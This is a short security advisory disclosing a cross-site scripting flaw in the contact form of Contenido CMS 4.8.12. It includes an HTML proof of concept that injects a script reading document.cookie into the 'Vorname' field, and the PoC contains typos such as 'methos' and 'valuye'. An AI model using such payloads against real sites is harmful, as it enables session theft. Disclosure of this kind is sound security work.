XSS vulnerability in Contenido CMS

Vulnerability ID: HTB22635
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_contenido_cms.html
Product: Contenido CMS
Vendor: four for business AG ( http://www.contenido.org/ )
Vulnerable Version: 4.8.12 and Probably Prior Versions
Vendor Notification: 29 September 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the contact form to properly sanitize user-supplied input in many parameters. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action=http://host/path/to/contact/form.html?parentid= methos=POST name=M>
<input type="hidden" name="send" valuye="1">
<input type="hidden" name="Vorname" valuye='z"><script>alert(document.cookie)</script>'>
</form>
<script>
document.M.Submit();
<script>